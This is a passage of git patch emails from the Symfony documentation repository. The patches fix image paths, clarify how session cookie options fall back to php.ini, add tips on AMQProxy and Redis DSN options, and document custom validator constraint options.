+    <object data="../_images/form/form_submission_workflow.svg" type="image/svg+xml"
         alt="A flow diagram showing the three events that are dispatched when handling form submissions."
     ></object>
 
diff --git a/form/form_customization.rst b/form/form_customization.rst
index 0263bfbe305..005e0eac461 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -51,7 +51,7 @@ customized using other Twig functions, as illustrated in the following diagram:
 
 .. raw:: html
 
-    <object data="/_images/form/form-field-parts.svg" type="image/svg+xml"
+    <object data="../_images/form/form-field-parts.svg" type="image/svg+xml"
         alt="Wireframe showing all functions in a form row, which are mentioned directly below."
     ></object>
 
diff --git a/form/form_themes.rst b/form/form_themes.rst
index 3798b04b855..5f462ce4bbb 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -247,7 +247,7 @@ In both cases, the ``field-part`` can be any of these valid form field parts:
 
 .. raw:: html
 
-    <object data="/_images/form/form-field-parts.svg" type="image/svg+xml"
+    <object data="../_images/form/form-field-parts.svg" type="image/svg+xml"
         alt="A wireframe showing all form field parts: form_row, form_label, form_widget, form_help and form_errors."
     ></object>
 
diff --git a/introduction/from_flat_php_to_symfony.rst b/introduction/from_flat_php_to_symfony.rst
index 06cadc4e7b0..7386f629546 100644
--- a/introduction/from_flat_php_to_symfony.rst
+++ b/introduction/from_flat_php_to_symfony.rst
@@ -657,7 +657,7 @@ It's a beautiful thing.
 
 .. raw:: html
 
-    <object data="/_images/http/request-flow.svg" type="image/svg+xml"
+    <object data="../_images/http/request-flow.svg" type="image/svg+xml"
         alt="A flow diagram visualizing the previously described process from front controller to response."
     ></object>
 
diff --git a/introduction/http_fundamentals.rst b/introduction/http_fundamentals.rst
index da0600e5860..fceb6a4a13d 100644
--- a/introduction/http_fundamentals.rst
+++ b/introduction/http_fundamentals.rst
@@ -19,7 +19,7 @@ to communicate with each other. For example, when checking for the latest
 
 .. raw:: html
 
-    <object data="/_images/http/xkcd-full.svg" type="image/svg+xml"
+    <object data="../_images/http/xkcd-full.svg" type="image/svg+xml"
         alt="A sequence diagram showing the browser sending &quot;Can I see today's comic?&quot; to the xkcd server. The server prepares the page's HTML and sents it back to the browser."
     ></object>
 
@@ -43,7 +43,7 @@ browser and the xkcd web server:
 
 .. raw:: html
 
-    <object data="/_images/http/xkcd-request.svg" type="image/svg+xml"
+    <object data="../_images/http/xkcd-request.svg" type="image/svg+xml"
         alt="A sequence diagram showing the request from browser to the xkcd server."
     ></object>
 
@@ -108,7 +108,7 @@ from the xkcd web server:
 
 .. raw:: html
 
-    <object data="/_images/http/xkcd-full.svg" type="image/svg+xml"
+    <object data="../_images/http/xkcd-full.svg" type="image/svg+xml"
         alt="The full sequence diagram with the xkcd server sending the page's HTML back to the browser."
     ></object>
 
@@ -355,7 +355,7 @@ to do:
 
 .. raw:: html
 
-    <object data="/_images/http/request-flow.svg" type="image/svg+xml"
+    <object data="../_images/http/request-flow.svg" type="image/svg+xml"
         alt="A flow diagram visualizing the request-response flow. Each step is written out in text in the next section."
     ></object>
 
diff --git a/mercure.rst b/mercure.rst
index 18d8766ce2a..f53b49d6e3d 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -69,7 +69,7 @@ Running a Mercure Hub
 
 .. raw:: html
 
-    <object data="/_images/mercure/hub.svg" type="image/svg+xml"
+    <object data="_images/mercure/hub.svg" type="image/svg+xml"
         alt="Flow diagram showing a Symfony app communicating with the Mercure Hub using a POST request, and the Mercure Hub using SSE to communicate to the clients."
     ></object>
 
@@ -335,7 +335,7 @@ in a ``Link`` HTTP header.
 
 .. raw:: html
 
-    <object data="/_images/mercure/discovery.svg" type="image/svg+xml"
+    <object data="_images/mercure/discovery.svg" type="image/svg+xml"
         alt="Flow diagram showing the Link response header set by the Symfony app to respond to an API request for a book with ID 1."
     ></object>
 
diff --git a/security.rst b/security.rst
index 23253279f28..1299f2337b3 100644
--- a/security.rst
+++ b/security.rst
@@ -2603,7 +2603,7 @@ Authentication Events
 
 .. raw:: html
 
-    <object data="/_images/security/security_events.svg" type="image/svg+xml"
+    <object data="_images/security/security_events.svg" type="image/svg+xml"
         alt="A flow diagram showing the authentication events that are described in this section in a request-response cycle."
     ></object>
 

From 69ab80128328d0515239b2574da35d5336fcb46c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Sep 2023 08:19:16 +0200
Subject: [PATCH 3738/5766] Tweak

---
 mailer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 6bd1ced54e5..ba5a381121f 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -616,8 +616,8 @@ images inside the HTML contents::
         ->html('... <div background="cid:footer-signature"> ... </div> ...')
     ;
 
-You can also use :method:`DataPart::setContentId() <Symfony\\Component\\Mime\\Part\\DataPart::setContentId>` method to
-define value and use it as ``cid`` reference::
+You can also use the :method:`DataPart::setContentId() <Symfony\\Component\\Mime\\Part\\DataPart::setContentId>`
+method to define a custom Content-ID for the image and use it as its ``cid`` reference::
 
     $part = new DataPart(new File('/path/to/images/signature.gif'));
     $part->setContentId('footer-signature');

From e3550df51909f88d511f7548c68299cd45f47d88 Mon Sep 17 00:00:00 2001
From: Andrii Dembitskyi <andrew.dembitskiy@gmail.com>
Date: Fri, 1 Sep 2023 15:47:02 +0300
Subject: [PATCH 3739/5766] Add information about timeout semantics for redis
 option `timeout`

---
 messenger.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 58c0773ae12..d707624a7ed 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1624,8 +1624,8 @@ persistent_id            String, if null connection is          null
 retry_interval           Int, value in milliseconds             ``0``
 read_timeout             Float, value in seconds                ``0``
                          default indicates unlimited
-timeout                  Float, value in seconds                ``0``
-                         default indicates unlimited
+timeout                  Connection timeout. Float, value in    ``0``
+                         seconds default indicates unlimited
 sentinel_master          String, if null or empty Sentinel      null
                          support is disabled
 =======================  =====================================  =================================

From 6a123d8baaba0da5988f025e6e6ab7cfdf4d6981 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Sep 2023 09:57:23 +0200
Subject: [PATCH 3740/5766] Tweaks

---
 service_container/autowiring.rst | 2 +-
 service_container/tags.rst       | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 11a699e8a86..b1c6e85d265 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -584,7 +584,7 @@ attribute like this::
 
 .. note::
 
-    Some IDEs will show an error when using the ``#[Target]`` as in the previous example:
+    Some IDEs will show an error when using ``#[Target]`` as in the previous example:
     *"Attribute cannot be applied to a property because it does not contain the 'Attribute::TARGET_PROPERTY' flag"*.
     The reason is that thanks to `PHP constructor promotion`_ this constructor
     argument is both a parameter and a class property. You can safely ignore this error message.
diff --git a/service_container/tags.rst b/service_container/tags.rst
index e077be252df..e548040f4ed 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -719,7 +719,7 @@ directly via PHP attributes:
 
 .. note::
 
-    Some IDEs will show an error when using the ``#[TaggedIterator]`` together
+    Some IDEs will show an error when using ``#[TaggedIterator]`` together
     with the `PHP constructor promotion`_:
     *"Attribute cannot be applied to a property because it does not contain the 'Attribute::TARGET_PROPERTY' flag"*.
     The reason is that those constructor arguments are both parameters and class

From 0bf83c35643ea0e145fa44d20245a5ff024ed176 Mon Sep 17 00:00:00 2001
From: Mathieu <mathieu.lechat@les-tilleuls.coop>
Date: Mon, 20 Feb 2023 16:40:12 +0100
Subject: [PATCH 3741/5766] =?UTF-8?q?[FrameworkBundle]=20update=20`session?=
 =?UTF-8?q?`=20configuration=20nodes=E2=80=99=20documentation?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 reference/configuration/framework.rst | 99 ++++++++++++++++-----------
 1 file changed, 59 insertions(+), 40 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 64a297d92b2..c520650f191 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1688,38 +1688,39 @@ and also to configure the session handler with a DSN:
 name
 ....
 
-**type**: ``string`` **default**: ``null``
+**type**: ``string``
+
+This specifies the name of the session cookie.
 
-This specifies the name of the session cookie. By default, it will use the
-cookie name which is defined in the ``php.ini`` with the ``session.name``
-directive.
+If not set, ``php.ini``'s `session.name`_ directive will be relied on.
 
 cookie_lifetime
 ...............
 
-**type**: ``integer`` **default**: ``null``
+**type**: ``integer``
 
-This determines the lifetime of the session - in seconds. The default value
-- ``null`` - means that the ``session.cookie_lifetime`` value from ``php.ini``
-will be used. Setting this value to ``0`` means the cookie is valid for
+This determines the lifetime of the session - in seconds.
+Setting this value to ``0`` means the cookie is valid for
 the length of the browser session.
 
+If not set, ``php.ini``'s `session.cookie_lifetime`_ directive will be relied on.
+
 cookie_path
 ...........
 
-**type**: ``string`` **default**: ``/``
+**type**: ``string``
+
+This determines the path to set in the session cookie.
 
-This determines the path to set in the session cookie. By default, it will
-use ``/``.
+If not set, ``php.ini``'s `session.cookie_path`_ directive will be relied on.
 
 cache_limiter
 .............
 
-**type**: ``string`` or ``int`` **default**: ``''``
+**type**: ``string`` **default**: ``0``
 
 If set to ``0``, Symfony won't set any particular header related to the cache
-and it will rely on the cache control method configured in the
-`session.cache-limiter`_ PHP.ini option.
+and it will rely on ``php.ini``'s `session.cache_limiter`_ directive.
 
 Unlike the other session options, ``cache_limiter`` is set as a regular
 :ref:`container parameter <configuration-parameters>`:
@@ -1756,19 +1757,22 @@ Unlike the other session options, ``cache_limiter`` is set as a regular
             'cache_limiter' => 0,
         ]);
 
+Be aware that if you configure it, you'll have to set other session-related options
+as parameters as well.
+
 cookie_domain
 .............
 
-**type**: ``string`` **default**: ``''``
+**type**: ``string``
+
+This determines the domain to set in the session cookie.
 
-This determines the domain to set in the session cookie. By default, it's
-blank, meaning the host name of the server which generated the cookie according
-to the cookie specification.
+If not set, ``php.ini``'s `session.cookie_domain`_ directive will be relied on.
 
 cookie_samesite
 ...............
 
-**type**: ``string`` or ``null`` **default**: ``lax``
+**type**: ``string`` or ``null`` **default**: ``null``
 
 It controls the way cookies are sent when the HTTP request did not originate
 from the same domain that is associated with the cookies. Setting this option is
@@ -1782,8 +1786,7 @@ those cookies when making that HTTP request.
 
 The possible values for this option are:
 
-* ``null``, use it to disable this protection. Same behavior as in older Symfony
-  versions.
+* ``null``, use ``php.ini``'s `session.cookie_samesite`_ directive.
 * ``'none'`` (or the ``Symfony\Component\HttpFoundation\Cookie::SAMESITE_NONE`` constant), use it to allow
   sending of cookies when the HTTP request originated from a different domain
   (previously this was the default behavior of null, but in newer browsers ``'lax'``
@@ -1797,18 +1800,20 @@ The possible values for this option are:
 
 .. note::
 
-    This option is available starting from PHP 7.3, but Symfony has a polyfill
-    so you can use it with any older PHP version as well.
+    Same-site cookies are a PHP 7.3 feature, but Symfony has a polyfill
+    so you can set this option with any older PHP version as well.
 
 cookie_secure
 .............
 
-**type**: ``boolean`` or ``'auto'`` **default**: ``auto``
+**type**: ``boolean`` or ``'auto'``
 
 This determines whether cookies should only be sent over secure connections. In
 addition to ``true`` and ``false``, there's a special ``'auto'`` value that
 means ``true`` for HTTPS requests and ``false`` for HTTP requests.
 
+If not set, ``php.ini``'s `session.cookie_secure`_ directive will be relied on.
+
 cookie_httponly
 ...............
 
@@ -1822,10 +1827,12 @@ identity theft through XSS attacks.
 gc_divisor
 ..........
 
-**type**: ``integer`` **default**: ``100``
+**type**: ``integer``
 
 See `gc_probability`_.
 
+If not set, ``php.ini``'s `session.gc_divisor`_ directive will be relied on.
+
 gc_probability
 ..............
 
@@ -1839,45 +1846,46 @@ chance that the GC process will start on each request.
 gc_maxlifetime
 ..............
 
-**type**: ``integer`` **default**: ``1440``
+**type**: ``integer``
 
 This determines the number of seconds after which data will be seen as "garbage"
 and potentially cleaned up. Garbage collection may occur during session
 start and depends on `gc_divisor`_ and `gc_probability`_.
 
+If not set, ``php.ini``'s `session.gc_maxlifetime`_ directive will be relied on.
+
 sid_length
 ..........
 
-**type**: ``integer`` **default**: ``32``
+**type**: ``integer``
 
 This determines the length of session ID string, which can be an integer between
-``22`` and ``256`` (both inclusive), being ``32`` the recommended value. Longer
+``22`` and ``256`` (both inclusive), ``32`` being the recommended value. Longer
 session IDs are harder to guess.
 
-This option is related to the `session.sid_length PHP option`_.
+If not set, ``php.ini``'s `session.sid_length`_ directive will be relied on.
 
 sid_bits_per_character
 ......................
 
-**type**: ``integer`` **default**: ``4``
+**type**: ``integer``
 
 This determines the number of bits in the encoded session ID character. The possible
 values are ``4`` (0-9, a-f), ``5`` (0-9, a-v), and ``6`` (0-9, a-z, A-Z, "-", ",").
 The more bits results in stronger session ID. ``5`` is recommended value for
 most environments.
 
-This option is related to the `session.sid_bits_per_character PHP option`_.
+If not set, ``php.ini``'s `session.sid_bits_per_character`_ directive will be relied on.
 
 save_path
 .........
 
-**type**: ``string`` **default**: ``%kernel.cache_dir%/sessions``
+**type**: ``string`` or ``null`` **default**: ``%kernel.cache_dir%/sessions``
 
 This determines the argument to be passed to the save handler. If you choose
 the default file handler, this is the path where the session files are created.
 
-You can also set this value to the ``save_path`` of your ``php.ini`` by
-setting the value to ``null``:
+If ``null``, ``php.ini``'s `session.save_path`_ directive will be relied on:
 
 .. configuration-block::
 
@@ -1972,11 +1980,12 @@ Whether to enable the session support in the framework.
 use_cookies
 ...........
 
-**type**: ``boolean`` **default**: ``null``
+**type**: ``boolean``
 
 This specifies if the session ID is stored on the client side using cookies or
-not. By default, it will use the value defined in the ``php.ini`` with the
-``session.use_cookies`` directive.
+not.
+
+If not set, ``php.ini``'s `session.use_cookies`_ directive will be relied on.
 
 ssi
 ~~~
@@ -3769,14 +3778,24 @@ use the configuration of the first exception that matches ``instanceof``:
 .. _`json_encode flags bitmask`: https://www.php.net/json_encode
 .. _`error_reporting PHP option`: https://www.php.net/manual/en/errorfunc.configuration.php#ini.error-reporting
 .. _`CSRF security attacks`: https://en.wikipedia.org/wiki/Cross-site_request_forgery
-.. _`session.sid_length PHP option`: https://www.php.net/manual/session.configuration.php#ini.session.sid-length
-.. _`session.sid_bits_per_character PHP option`: https://www.php.net/manual/session.configuration.php#ini.session.sid-bits-per-character
 .. _`X-Robots-Tag HTTP header`: https://developers.google.com/search/reference/robots_meta_tag
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
 .. _`default_socket_timeout`: https://www.php.net/manual/en/filesystem.configuration.php#ini.default-socket-timeout
 .. _`PEM formatted`: https://en.wikipedia.org/wiki/Privacy-Enhanced_Mail
 .. _`haveibeenpwned.com`: https://haveibeenpwned.com/
-.. _`session.cache-limiter`: https://www.php.net/manual/en/session.configuration.php#ini.session.cache-limiter
+.. _`session.name`: https://www.php.net/manual/en/session.configuration.php#ini.session.name
+.. _`session.cookie_lifetime`: https://www.php.net/manual/en/session.configuration.php#ini.session.cookie-lifetime
+.. _`session.cookie_path`: https://www.php.net/manual/en/session.configuration.php#ini.session.cookie-path
+.. _`session.cache_limiter`: https://www.php.net/manual/en/session.configuration.php#ini.session.cache-limiter
+.. _`session.cookie_domain`: https://www.php.net/manual/en/session.configuration.php#ini.session.cookie-domain
+.. _`session.cookie_samesite`: https://www.php.net/manual/en/session.configuration.php#ini.session.cookie-samesite
+.. _`session.cookie_secure`: https://www.php.net/manual/en/session.configuration.php#ini.session.cookie-secure
+.. _`session.gc_divisor`: https://www.php.net/manual/en/session.configuration.php#ini.session.gc-divisor
+.. _`session.gc_maxlifetime`: https://www.php.net/manual/en/session.configuration.php#ini.session.gc-maxlifetime
+.. _`session.sid_length`: https://www.php.net/manual/en/session.configuration.php#ini.session.sid-length
+.. _`session.sid_bits_per_character`: https://www.php.net/manual/en/session.configuration.php#ini.session.sid-bits-per-character
+.. _`session.save_path`: https://www.php.net/manual/en/session.configuration.php#ini.session.save-path
+.. _`session.use_cookies`: https://www.php.net/manual/en/session.configuration.php#ini.session.use-cookies
 .. _`Microsoft NTLM authentication protocol`: https://docs.microsoft.com/en-us/windows/win32/secauthn/microsoft-ntlm
 .. _`utf-8 modifier`: https://www.php.net/reference.pcre.pattern.modifiers
 .. _`Link HTTP header`: https://tools.ietf.org/html/rfc5988

From 52d13384b5f1f027ebd22d7fc809787c92e312ee Mon Sep 17 00:00:00 2001
From: Robert <robert.kopera@verestro.com>
Date: Wed, 30 Aug 2023 12:59:11 +0200
Subject: [PATCH 3742/5766] Added amqproxy note

---
 messenger.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index d707624a7ed..9cf5543f64d 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1411,6 +1411,17 @@ your Envelope::
     of the stop conditions is reached. Thus, the worker's stop logic cannot be reached if it
     is stuck in a blocking call.
 
+.. caution::
+
+    In scenarios facing socket exceptions or "high connection churn"
+    (distinguished by the rapid creation and deletion of connections), the use of `AMQProxy`_ could be beneficial.
+    This tool functions as a gateway between Symfony Messenger and AMQP server,
+    assisting in maintaining stable connections and considerably minimizing overheads. Consequently,
+    AMQProxy not only heightens the dependability of your setup but also brings about
+    significant performance enhancements in PHP applications.
+
+    For a comprehensive understanding of this topic, kindly refer to the `RabbitMQ docs`_ as a reference.
+
 Doctrine Transport
 ~~~~~~~~~~~~~~~~~~
 
@@ -2600,3 +2611,5 @@ Learn more
 .. _`Visibility Timeout`: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-visibility-timeout.html
 .. _`FIFO queue`: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/FIFO-queues.html
 .. _`LISTEN/NOTIFY`: https://www.postgresql.org/docs/current/sql-notify.html
+.. _`AMQProxy`: https://github.com/cloudamqp/amqproxy
+.. _`RabbitMQ docs`: https://www.rabbitmq.com/connections.html#high-connection-churn

From 2219fd2ad3f88b509e5e324a89d64e10edae9f5d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Sep 2023 13:35:42 +0200
Subject: [PATCH 3743/5766] Reword

---
 messenger.rst | 17 +++++++----------
 1 file changed, 7 insertions(+), 10 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 9cf5543f64d..e8efc676a3d 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1411,16 +1411,13 @@ your Envelope::
     of the stop conditions is reached. Thus, the worker's stop logic cannot be reached if it
     is stuck in a blocking call.
 
-.. caution::
-
-    In scenarios facing socket exceptions or "high connection churn"
-    (distinguished by the rapid creation and deletion of connections), the use of `AMQProxy`_ could be beneficial.
-    This tool functions as a gateway between Symfony Messenger and AMQP server,
-    assisting in maintaining stable connections and considerably minimizing overheads. Consequently,
-    AMQProxy not only heightens the dependability of your setup but also brings about
-    significant performance enhancements in PHP applications.
+.. tip::
 
-    For a comprehensive understanding of this topic, kindly refer to the `RabbitMQ docs`_ as a reference.
+    If your application faces socket exceptions or `high connection churn`_
+    (shown by the rapid creation and deletion of connections), consider using
+    `AMQProxy`_. This tool works as a gateway between Symfony Messenger and AMQP server,
+    maintaining stable connections and minimizing overheads (which also improves
+    the overall performance).
 
 Doctrine Transport
 ~~~~~~~~~~~~~~~~~~
@@ -2612,4 +2609,4 @@ Learn more
 .. _`FIFO queue`: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/FIFO-queues.html
 .. _`LISTEN/NOTIFY`: https://www.postgresql.org/docs/current/sql-notify.html
 .. _`AMQProxy`: https://github.com/cloudamqp/amqproxy
-.. _`RabbitMQ docs`: https://www.rabbitmq.com/connections.html#high-connection-churn
+.. _`high connection churn`: https://www.rabbitmq.com/connections.html#high-connection-churn

From 86abb5a5f63a9bedc80284edc5f24b082116784f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Sep 2023 15:18:54 +0200
Subject: [PATCH 3744/5766] Mention the Symfony packages that don't follow the
 components versioning

---
 setup/upgrade_major.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index d59006d53ec..8c5b5cab8a3 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -152,9 +152,10 @@ starting with ``symfony/`` to the new major version:
     +         "symfony/console": "6.0.*",
               "...": "...",
 
-              "...": "A few libraries starting with
-                      symfony/ follow their own versioning scheme. You
-                      do not need to update these versions: you can
+              "...": "A few libraries starting with symfony/ follow their own
+                      versioning scheme (e.g. symfony/polyfill-[...],
+                      symfony/ux-[...], symfony/[...]-bundle).
+                      You do not need to update these versions: you can
                       upgrade them independently whenever you want",
               "symfony/monolog-bundle": "^3.5",
           },

From 824e28dbf945bf377fb0ba2236081e6f6c901c43 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 4 Sep 2023 15:53:54 +0200
Subject: [PATCH 3745/5766] [HttpFoundation] Allow setting session options via
 DSN

---
 session.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/session.rst b/session.rst
index 9327d75619e..4a9015f919f 100644
--- a/session.rst
+++ b/session.rst
@@ -667,6 +667,17 @@ and only the first one stored the CSRF token in the session.
     replace ``RedisSessionHandler`` by
     :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MemcachedSessionHandler`.
 
+.. tip::
+
+    When using Redis with a DSN in the
+    :ref:`handler_id <config-framework-session-handler-id>` config option, the
+    latter can contain the ``prefix`` and ``ttl`` options as query string parameters.
+
+    .. versionadded:: 5.4
+
+        The support for ``prefix`` and ``ttl`` options in a Redis DSN was
+        introduced in Symfony 5.4.
+
 .. _session-database-pdo:
 
 Store Sessions in a Relational Database (MariaDB, MySQL, PostgreSQL)

From 3f8c7fc04e3dc0fd38797a62f32ae0c27012f6c2 Mon Sep 17 00:00:00 2001
From: W0rma <beck.worma@gmail.com>
Date: Thu, 5 Aug 2021 13:02:30 +0200
Subject: [PATCH 3746/5766] Describe how to create a custom constraint with
 options

---
 validation/custom_constraint.rst | 224 +++++++++++++++++++++++++++++++
 1 file changed, 224 insertions(+)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 9200e0d9dec..424e4e41acb 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -233,6 +233,230 @@ then your validator is already registered as a service and :doc:`tagged </servic
 with the necessary ``validator.constraint_validator``. This means you can
 :ref:`inject services or configuration <services-constructor-injection>` like any other service.
 
+Constraint Validators with custom options
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Define public properties on the constraint class for the desired configuration
+options:
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        // src/Validator/Foo.php
+        namespace App\Validator;
+
+        use Symfony\Component\Validator\Constraint;
+
+        /**
+         * @Annotation
+         */
+        class Foo extends Constraint
+        {
+            public $mandatoryFooOption;
+            public $message = 'This value is invalid';
+            public $optionalBarOption = false;
+
+            public function __construct(
+                $mandatoryFooOption,
+                string $message = null,
+                bool $optionalBarOption = null,
+                array $groups = null,
+                $payload = null,
+                array $options = []
+            ) {
+                if (\is_array($mandatoryFooOption)) {
+                    $options = array_merge($mandatoryFooOption, $options);
+                } elseif (null !== $mandatoryFooOption) {
+                    $options['value'] = $mandatoryFooOption;
+                }
+
+                parent::__construct($options, $groups, $payload);
+
+                $this->message = $message ?? $this->message;
+                $this->optionalBarOption = $optionalBarOption ?? $this->optionalBarOption;
+            }
+
+            public function getDefaultOption()
+            {
+                // If no associative array is passed to the constructor this
+                // property is set instead.
+
+                return 'mandatoryFooOption';
+            }
+
+            public function getRequiredOptions()
+            {
+                // return names of options which must be set.
+
+                return ['mandatoryFooOption'];
+            }
+        }
+
+    .. code-block:: php-attributes
+
+        // src/Validator/Foo.php
+        namespace App\Validator;
+
+        use Symfony\Component\Validator\Constraint;
+
+        #[\Attribute]
+        class Foo extends Constraint
+        {
+            public $mandatoryFooOption;
+            public $message = 'This value is invalid';
+            public $optionalBarOption = false;
+
+            public function __construct(
+                $mandatoryFooOption,
+                string $message = null,
+                bool $optionalBarOption = null,
+                array $groups = null,
+                $payload = null,
+                array $options = []
+            ) {
+                if (\is_array($mandatoryFooOption)) {
+                    $options = array_merge($mandatoryFooOption, $options);
+                } elseif (null !== $mandatoryFooOption) {
+                    $options['value'] = $mandatoryFooOption;
+                }
+
+                parent::__construct($options, $groups, $payload);
+
+                $this->message = $message ?? $this->message;
+                $this->optionalBarOption = $optionalBarOption ?? $this->optionalBarOption;
+            }
+
+            public function getDefaultOption()
+            {
+                return 'mandatoryFooOption';
+            }
+
+            public function getRequiredOptions()
+            {
+                return ['mandatoryFooOption'];
+            }
+        }
+
+Inside the validator, options can be accessed quite simple::
+
+    class FooValidator extends ConstraintValidator
+    {
+        public function validate($value, Constraint $constraint)
+        {
+            // Access the option of the constraint
+            if ($constraint->optionalBarOption) {
+                // ...
+            }
+
+            // ...
+        }
+    }
+
+Custom options can be passed to the constraints like for the ones provided by Symfony
+itself:
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        // src/Entity/AcmeEntity.php
+        namespace App\Entity;
+
+        use App\Validator as AcmeAssert;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class AcmeEntity
+        {
+            // ...
+
+            /**
+             * @Assert\NotBlank
+             * @AcmeAssert\Foo(
+             *     mandatoryFooOption="bar",
+             *     optionalBarOption=true
+             * )
+             */
+            protected $name;
+
+            // ...
+        }
+
+    .. code-block:: php-attributes
+
+        // src/Entity/AcmeEntity.php
+        namespace App\Entity;
+
+        use App\Validator as AcmeAssert;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class AcmeEntity
+        {
+            // ...
+
+            #[Assert\NotBlank]
+            #[AcmeAssert\Foo(
+                mandatoryFooOption: 'bar',
+                optionalBarOption: true
+            )]
+            protected $name;
+
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\AcmeEntity:
+            properties:
+                name:
+                    - NotBlank: ~
+                    - App\Validator\Foo:
+                        mandatoryFooOption: bar
+                        optionalBarOption: true
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\AcmeEntity">
+                <property name="name">
+                    <constraint name="NotBlank"/>
+                    <constraint name="App\Validator\Foo">
+                        <option name="mandatoryFooOption">bar</option>
+                        <option name="optionalBarOption">true</option>
+                    </constraint>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/AcmeEntity.php
+        namespace App\Entity;
+
+        use App\Validator\ContainsAlphanumeric;
+        use Symfony\Component\Validator\Constraints\NotBlank;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class AcmeEntity
+        {
+            public $name;
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            {
+                $metadata->addPropertyConstraint('name', new NotBlank());
+                $metadata->addPropertyConstraint('name', new Foo([
+                    'mandatoryFooOption' => 'bar',
+                    'optionalBarOption' => true,
+                ]));
+            }
+        }
+
 Create a Reusable Set of Constraints
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From f07d86148344b92fe512d6ccf8aa2e2e44d0df22 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Sep 2023 16:25:28 +0200
Subject: [PATCH 3747/5766] Tweaks

---
 validation/custom_constraint.rst | 15 ++++++++-------
 1 file changed, 8 insertions(+), 7 deletions(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 424e4e41acb..d44346352fd 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -233,11 +233,11 @@ then your validator is already registered as a service and :doc:`tagged </servic
 with the necessary ``validator.constraint_validator``. This means you can
 :ref:`inject services or configuration <services-constructor-injection>` like any other service.
 
-Constraint Validators with custom options
+Constraint Validators with Custom Options
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Define public properties on the constraint class for the desired configuration
-options:
+If you want to add some configuration options to your custom constraint, first
+define those options as public properties on the constraint class:
 
 .. configuration-block::
 
@@ -338,13 +338,14 @@ options:
             }
         }
 
-Inside the validator, options can be accessed quite simple::
+Then, inside the validator class you can access these options directly via the
+constraint class passes to the ``validate()`` method::
 
     class FooValidator extends ConstraintValidator
     {
         public function validate($value, Constraint $constraint)
         {
-            // Access the option of the constraint
+            // access any option of the constraint
             if ($constraint->optionalBarOption) {
                 // ...
             }
@@ -353,8 +354,8 @@ Inside the validator, options can be accessed quite simple::
         }
     }
 
-Custom options can be passed to the constraints like for the ones provided by Symfony
-itself:
+When using this constraint in your own application, you can pass the value of
+the custom options like you pass any other option in built-in constraints:
 
 .. configuration-block::
 

From 53cbda40c573faa0df51fb0018f8570c94e0265e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Sep 2023 16:28:45 +0200
Subject: [PATCH 3748/5766] Remove annotations examples

---
